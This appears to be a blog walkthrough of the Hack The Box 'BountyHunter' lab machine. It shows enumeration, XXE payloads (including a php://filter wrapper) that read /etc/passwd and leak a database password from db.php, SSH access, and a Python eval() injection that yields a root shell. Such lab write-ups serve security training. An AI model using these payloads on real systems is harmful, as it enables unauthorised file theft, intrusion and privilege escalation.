Hack The Box XXE

Hack The Box: BountyHunter Walkthrough

Author
Dulanjana Fernando
Oct 20, 2026  •  9 min read  •  94 views
Hack The Box: BountyHunter Walkthrough

BountyHunter is an easy-difficulty HackTheBox Linux machine that begins with web enumeration on an Apache web server running a bug reporting portal. Submitting bug reports transmits Base64-encoded XML payloads to a backend parser vulnerable to XML External Entity (XXE) injection. Leveraging the PHP stream wrapper exfiltrates the source code of db.php, recovering a cleartext password. Password reuse allows securing an SSH initial access shell as the development user. Sudo privileges permit development to execute a custom Python validation script as root. Static analysis reveals unsafe evaluation of ticket code input via eval(), which is exploited by injecting a Python system command payload into a custom ticket file to spawn an interactive root shell and capture the root flag.

1. Web Reconnaissance & Directory Enumeration

1.1 Network Service Discovery

As the first step, I ran an NMAP scan on the target machine to get a better idea of the target machine. I used nmap bountyhunter.htb -sC -sV -O -oN nmap_scan to scan the open ports and services.

nmap bountyhunter.htb -sC -sV -O -oN nmap_scan
Starting Nmap 7.99 ( https://nmap.org ) at 2026-10-19 05:59 -0400
Nmap scan report for bountyhunter.htb (10.129.95.166)
Host is up (0.54s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 d4:4c:f5:79:9a:79:a3:b0:f1:66:25:52:c9:53:1f:e1 (RSA)
|   256 a2:1e:67:61:8d:2f:7a:37:a7:ba:3b:51:08:e8:89:a6 (ECDSA)
|_  256 a5:75:16:d9:69:58:50:4a:14:11:7a:42:c1:b6:23:44 (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Bounty Hunters
|_http-server-header: Apache/2.4.41 (Ubuntu)
Device type: general purpose
Running: Linux 5.X
OS CPE: cpe:/o:linux:linux_kernel:5
OS details: Linux 5.0 - 5.14
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 31.95 seconds

Based on the scan results, there are only ports 80 and 22 open. Port 80 is running an Apache server.

1.2 Directory Brute-Forcing & Static Source Analysis

Visiting http://bountyhunter.htb reveals a single-page website.

Article Image
Single Page Website

Analysing the source code, I was able to find a commented reference that points to an email configuration file, but navigating to mail/contact_me.php and assets/mail/contact_me.js returns a 404 Not Found error. Maybe it's not configured yet!!


<!-- To configure the contact form email address, go to mail/contact_me.php and update the email address in the PHP file on line 19.-->

Next, I ran a gobuster directory scan trying to find any hidden directories and files.

gobuster dir -u bountyhunter.htb -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,txt,md,env,config,git
===============================================================
Gobuster v3.8.2
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://bountyhunter.htb
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.8.2
[+] Extensions:              git,php,html,txt,md,env,config
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
index.php            (Status: 200) [Size: 25169]
resources            (Status: 301) [Size: 324] [--> http://bountyhunter.htb/resources/]
assets               (Status: 301) [Size: 321] [--> http://bountyhunter.htb/assets/]
portal.php           (Status: 200) [Size: 125]
css                  (Status: 301) [Size: 318] [--> http://bountyhunter.htb/css/]
db.php               (Status: 200) [Size: 0]
js                   (Status: 301) [Size: 317] [--> http://bountyhunter.htb/js/]

Visiting portal.php renders a web page that has a link to another page.
Visiting db.php renders a blank page. This can be an internal config file that does not provide any output.

1.3 Application Workflow & Client-Side Code Analysis

portal.php page exposes the log_submit.php page, which contains a "Bounty Report System" form.

Inspecting the source code revealed that this page submits data to the backend using Base64-encoded XML format.


function returnSecret(data) {
	return Promise.resolve($.ajax({
            type: "POST",
            data: {"data":data},
            url: "tracker_diRbPr00f314.php"
            }));
}

async function bountySubmit() {
	try {
		var xml = `<?xml  version="1.0" encoding="ISO-8859-1"?>
		<bugreport>
		<title>${$('#exploitTitle').val()}</title>
		<cwe>${$('#cwe').val()}</cwe>
		<cvss>${$('#cvss').val()}</cvss>
		<reward>${$('#reward').val()}</reward>
		</bugreport>`
		let data = await returnSecret(btoa(xml));
  		$("#return").html(data)
	}
	catch(error) {
		console.log('Error:', error);
	}
}

Article Image
Bounty Report System

Submitting this form revealed that the server parses the input and returns the extracted text in the response payload for display. This indicates a potential XML External Entity (XXE) injection vector if entity processing is enabled.

2. XML External Entity (XXE) Injection & File Exfiltration

2.1 Local File Disclosure

To verify the XXE vulnerability and to test file read capability, I created a custom XML payload to read the /etc/passwd file on the target machine.

# Custom XML Payload
<?xml  version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE serverConfig [
    <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
		<bugreport>
		<title>&xxe;</title>
		<cwe>test 1</cwe>
		<cvss>test 2</cvss>
		<reward>test 3</reward>
		</bugreport>

I used CyberChef to encode the XML payload into Base64. After capturing the POST request using Burp Suite and sending it to Repeater, I was able to set the Base64 payload and send the request to the server.
But all the fields ended up blank, indicating that the payload is not processing properly or it has safety filters.

After comparing the initial payload with mine, I noticed that special characters like = at the end of the Base64 string are also URL-encoded. After URL-encoding my Base64 string using CyberChef, I was able to confirm the XXE vulnerability by extracting the /etc/passwd file contents.

Base64 and URL encoded payload
PD94bWwgIHZlcnNpb249IjEuMCIgZW5jb2Rpbmc9IklTTy04ODU5LTEiPz4KPCFET0NUWVBFIHNlcnZlckNvbmZpZyBbCiAgICA8IUVOVElUWSB4eGUgU1lTVEVNICJmaWxlOi8vL2V0Yy9wYXNzd2QiPgpdPgoJCTxidWdyZXBvcnQ%2BCgkJPHRpdGxlPiZ4eGU7PC90aXRsZT4KCQk8Y3dlPnRlc3QgMTwvY3dlPgoJCTxjdnNzPnRlc3QgMjwvY3Zzcz4KCQk8cmV3YXJkPnRlc3QgMzwvcmV3YXJkPgoJCTwvYnVncmVwb3J0Pgo%3D

Article Image
XXE vulnerability extracting /etc/passwd file contents

Based on the result, there is only one non-root user in the target machine.


development:x:1000:1000:Development:/home/development:/bin/bash

2.2 Source Code Exfiltration via PHP Wrappers

Next, I tried to read the db.php file using the file:// schema. Since this is an Apache server, the files should be located in the /var/www/html directory.
So the absolute path for the db.php should be /var/www/html/db.php.

Adding /var/www/html/db.php to the file:// schema and resending the request results in an empty field. But it's only empty in the field where the /var/www/html/db.php file content should be.
Seems like the XML parsing is completing without any errors, but it is rendering the db.php file's empty output into the result.

# Using PHP Wrapper
<?xml  version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE serverConfig [
    <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/var/www/html/db.php">
]>
		<bugreport>
		<title>&xxe;</title>
		<cwe>test 1
		<cvss>test 2</cvss>
		<reward>test 3</reward>
		</bugreport>

Based on PayloadOfAllThings, I need to use the PHP php://filter stream wrapper to bypass the execution and read the raw source code.

After submitting the Base64 URL-encoded payload, I received a Base64-encoded response string.

Article Image
Using php://filter wrapper to extract source code

Decoding the Base64-encoded response string using CyberChef, I was able to extract the database credentials.

# Recovered Credentials
 Implement login system with the database.
$dbserver = "localhost";
$dbname = "bounty";
$dbusername = "admin";
$dbpassword = "m19RoAU0hP41A1sTsq6K";
$testuser = "test";
?>

3. Initial Access & User Flag

I was able to use the recovered password and log in to the target machine as the development user and retrieve the user flag.

ssh development@bountyhunter.htb
...

Last login: Wed Jul 21 12:04:13 2021 from 10.10.14.8
development@bountyhunter:~$ whoami
development
development@bountyhunter:~$ cat user.txt

4. Privilege Escalation & Root Flag

4.1 Sudo Rights Audit

After logging in as the development user, I ran sudo -l to list the sudo privileges.

sudo -l
Matching Defaults entries for development on bountyhunter:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User development may run the following commands on bountyhunter:
    (root) NOPASSWD: /usr/bin/python3.8 /opt/skytrain_inc/ticketValidator.py

Based on the result, the user development has privileges to run the /usr/bin/python3.8 /opt/skytrain_inc/ticketValidator.py Python command as root without needing a password.

4.2 Static Code Analysis & Vulnerability Identification

Reviewing the /opt/skytrain_inc/ticketValidator.py Python script, I noticed that if the if int(ticketCode) % 7 == 4: condition is TRUE, the ticket contents are passed into the resulting string directly into Python's eval() function without sanitisation.
So, supplying a payload containing built-in Python modules such as __import__('os').system() allows arbitrary system commands to run. Since this command can be run under the root process context without a password by thedevelopment user, this can be used to escalate privileges.


if int(ticketCode) % 7 == 4:
                validationNumber = eval(x.replace("**", ""))
                if validationNumber > 100:
                    return True

4.3 Root Shell Execution & Root Flag

I constructed a MD file with Python code built-in command inside to escalate privileges.


cat << 'EOF' > exploit.md
# Skytrain Inc
## Ticket to Anywhere
__Ticket Code:__
**11+__import__('os').system('bash')**
EOF

After creating the malicious ticket file, I was able to execute the Python command with root privileges to escalate privileges and retrieve the root flag.

sudo /usr/bin/python3.8 /opt/skytrain_inc/ticketValidator.py
Please enter the path to the ticket file.
/home/development/exploit.md
Destination: Anywhere
root@bountyhunter:/home/development# whoami
root
root@bountyhunter:/home/development# cat /root/root.txt

Congrats! We found both flags!

HTB Machine Completion

Tags:
XXE CREST CRT Python

You might also like...

Hack The Box: DutyBound Walkthrough
Hack The Box Special Season: Aero
Hack The Box: DutyBound Walkthrough

DutyBound is a Medium difficulty HackTheBox machine that is part of Season 12....

Read More
Hack The Box: Silo Walkthrough
Hack The Box Metasploit
Hack The Box: Silo Walkthrough

Silo is a Windows machine that begins by enumerating an exposed Oracle TNS Liste...

Read More
Hack The Box: Remote Walkthrough
Hack The Box Metasploit
Hack The Box: Remote Walkthrough

Remote is an easy-difficulty HackTheBox Windows machine that begins with enumera...

Read More

Stay Updated

Get notified when new walkthroughs and security articles are published.